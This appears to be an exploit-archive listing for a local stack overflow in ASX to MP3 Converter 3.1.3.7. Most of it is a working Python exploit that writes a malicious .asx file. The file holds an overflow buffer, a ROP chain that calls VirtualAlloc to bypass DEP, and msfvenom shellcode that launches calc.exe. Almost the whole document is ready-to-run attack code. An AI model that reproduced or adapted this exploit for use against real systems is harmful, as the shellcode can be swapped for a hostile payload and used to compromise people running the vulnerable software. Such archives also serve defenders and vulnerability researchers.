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ASX To MP3 Converter 3.1.3.7 Local Stack Overflow

ASX To MP3 Converter 3.1.3.7 Local Stack Overflow
Posted Oct 7, 2019
Authored by max7253

ASX to MP3 Converter version 3.1.3.7 .asx local stack overflow exploit.

tags | exploit, overflow, local
MD5 | 20f8d66dda4e923b5433ade635fb4ca1

ASX To MP3 Converter 3.1.3.7 Local Stack Overflow

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# Exploit Title: ASX to MP3 converter 3.1.3.7 - '.asx' Local Stack Overflow (DEP)
# Google Dork: N/A
# Date: 2019-10-06
# Exploit Author: max7253
# Vendor Homepage: http://www.mini-stream.net/
# Software Link: https://www.exploit-db.com/apps/f4da5b43ca4b035aae55dfa68daa67c9-ASXtoMP3Converter.exe
# Version: 3.1.3.7.2010.11.05
# Tested on: Microsoft Windows 7 Enterprise, 6.1.7601 Service Pack 1 Build 7601, x64-based PC
# CVE : N/A

# Note: There is a similar exploit published but it doesn't work in the OS I used:
# https://www.exploit-db.com/exploits/42963
# This exploit in the ROP chain uses addresses from ASLR modules. Not sure what OS that exploit was tested on.


import struct
file = 'fuzz_rop.asx'
#Tested on
#OS Name: Microsoft Windows 7 Enterprise
#OS Version: 6.1.7601 Service Pack 1 Build 7601
#System Type: x64-based PC

#msfvenom -p windows/exec cmd=calc.exe -a x86 -b '\x00\x09\x0a' -f python
buf = b""
buf += b"\xda\xd7\xbf\xf1\xca\xd1\x3f\xd9\x74\x24\xf4\x5a\x29"
buf += b"\xc9\xb1\x31\x83\xc2\x04\x31\x7a\x14\x03\x7a\xe5\x28"
buf += b"\x24\xc3\xed\x2f\xc7\x3c\xed\x4f\x41\xd9\xdc\x4f\x35"
buf += b"\xa9\x4e\x60\x3d\xff\x62\x0b\x13\x14\xf1\x79\xbc\x1b"
buf += b"\xb2\x34\x9a\x12\x43\x64\xde\x35\xc7\x77\x33\x96\xf6"
buf += b"\xb7\x46\xd7\x3f\xa5\xab\x85\xe8\xa1\x1e\x3a\x9d\xfc"
buf += b"\xa2\xb1\xed\x11\xa3\x26\xa5\x10\x82\xf8\xbe\x4a\x04"
buf += b"\xfa\x13\xe7\x0d\xe4\x70\xc2\xc4\x9f\x42\xb8\xd6\x49"
buf += b"\x9b\x41\x74\xb4\x14\xb0\x84\xf0\x92\x2b\xf3\x08\xe1"
buf += b"\xd6\x04\xcf\x98\x0c\x80\xd4\x3a\xc6\x32\x31\xbb\x0b"
buf += b"\xa4\xb2\xb7\xe0\xa2\x9d\xdb\xf7\x67\x96\xe7\x7c\x86"
buf += b"\x79\x6e\xc6\xad\x5d\x2b\x9c\xcc\xc4\x91\x73\xf0\x17"
buf += b"\x7a\x2b\x54\x53\x96\x38\xe5\x3e\xfc\xbf\x7b\x45\xb2"
buf += b"\xc0\x83\x46\xe2\xa8\xb2\xcd\x6d\xae\x4a\x04\xca\x40"
buf += b"\x01\x05\x7a\xc9\xcc\xdf\x3f\x94\xee\x35\x03\xa1\x6c"
buf += b"\xbc\xfb\x56\x6c\xb5\xfe\x13\x2a\x25\x72\x0b\xdf\x49"
buf += b"\x21\x2c\xca\x29\xa4\xbe\x96\x83\x43\x47\x3c\xdc"

payload = "http://"
payload += "A" * 17417 + struct.pack('<L', 0x1002D038) + "CCCC"

## Save allocation type (0x1000) in EDX
payload += struct.pack('<L', 0x10047F4D) # ADC EDX,ESI # POP ESI # RETN
payload += struct.pack('<L', 0x11111111)
payload += struct.pack('<L', 0x10029B8C) # XOR EDX,EDX # RETN
payload += struct.pack('<L', 0x1002D493) # POP EDX # RETN
payload += struct.pack('<L', 0xEEEEFEEF)
payload += struct.pack('<L', 0x10047F4D) # ADC EDX,ESI # POP ESI # RETN
payload += struct.pack('<L', 0x41414141)

## Save the address of VirtualAlloc() in ESI
payload += struct.pack('<L', 0x1002fade) # POP EAX # RETN [MSA2Mfilter03.dll]
payload += struct.pack('<L', 0x1004f060) # ptr to &VirtualAlloc() [IAT MSA2Mfilter03.dll]
payload += struct.pack('<L', 0x1003239f) # MOV EAX,DWORD PTR DS:[EAX] # RETN [MSA2Mfilter03.dll]
payload += struct.pack('<L', 0x10040754) # PUSH EAX # POP ESI # POP EBP # LEA EAX,DWORD PTR DS:[ECX+EAX+D] # POP EBX # RETN
payload += struct.pack('<L', 0x41414141)
payload += struct.pack('<L', 0x41414141)

## Save the size of the block in EBX
payload += struct.pack('<L', 0x1004d881) # XOR EAX,EAX # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x10034735) # PUSH EAX # ADD AL,5D # MOV EAX,1 # POP EBX # RETN

## Save the address of (# ADD ESP,8 # RETN) in EBP
payload += struct.pack('<L', 0x10031c6c) # POP EBP # RETN
payload += struct.pack('<L', 0x10012316) # ADD ESP,8 # RETN
#payload += struct.pack('<L', 0x1003df73) # & PUSH ESP # RETN

## Save memory protection code (0x40) in ECX
payload += struct.pack('<L', 0x1002ca22) # POP ECX # RETN
payload += struct.pack('<L', 0xFFFFFFFF)
payload += struct.pack('<L', 0x10031ebe) # INC ECX # AND EAX,8 # RETN
payload += struct.pack('<L', 0x10031ebe) # INC ECX # AND EAX,8 # RETN
payload += struct.pack('<L', 0x1002a5b7) # ADD ECX,ECX # RETN
payload += struct.pack('<L', 0x1002a5b7) # ADD ECX,ECX # RETN
payload += struct.pack('<L', 0x1002a5b7) # ADD ECX,ECX # RETN
payload += struct.pack('<L', 0x1002a5b7) # ADD ECX,ECX # RETN
payload += struct.pack('<L', 0x1002a5b7) # ADD ECX,ECX # RETN
payload += struct.pack('<L', 0x1002a5b7) # ADD ECX,ECX # RETN

## Save ROP-NOP in EDI
payload += struct.pack('<L', 0x1002e346) # POP EDI # RETN
payload += struct.pack('<L', 0x1002D038) # RETN

## Save NOPs in EAX
#payload += struct.pack('<L', 0x1003bca4) # POP EAX # RETN [MSA2Mfilter03.dll]
#payload += struct.pack('<L', 0x90909090) # nop

## Set up the EAX register to contain the address of # PUSHAD #RETN and JMP to this address
payload += struct.pack('<L', 0x1002E516) # POP EAX # RETN
payload += struct.pack('<L', 0xA4E2F275)
payload += struct.pack('<L', 0x1003efe2) # ADD EAX,5B5D5E5F # RETN
payload += struct.pack('<L', 0x10040ce5) # PUSH EAX # RETN

payload += "\x90" * 4
payload += struct.pack('<L', 0x1003df73) # & PUSH ESP # RETN
payload += "\x90" * 20
payload += buf

f = open(file,'w')
f.write(payload)
f.close()

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